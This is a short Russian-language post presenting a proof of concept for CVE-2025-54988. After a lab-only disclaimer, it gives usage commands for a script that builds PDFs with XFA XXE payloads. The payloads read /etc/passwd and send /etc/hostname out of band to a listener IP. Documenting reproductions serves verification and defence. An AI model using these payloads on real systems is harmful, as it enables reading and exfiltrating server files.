CVE-2025-54988 - POC

Отказ от ответственности: Я не являюсь первоначальным автором данной уязвимости. Этот пост документирует мой процесс воспроизведения проблемы в контролируемой среде в образовательных целях и для помощи другим в проверке их собственных систем. Тесты проводились в изолированной лаборатории без воздействия на производственные системы.

Использование:

python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf
python3 xfa_xxe_poc_gen.py --mode oob --ip 127.0.0.1 --port 8888 --write-dtd -o xfa_oob.pdf
python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d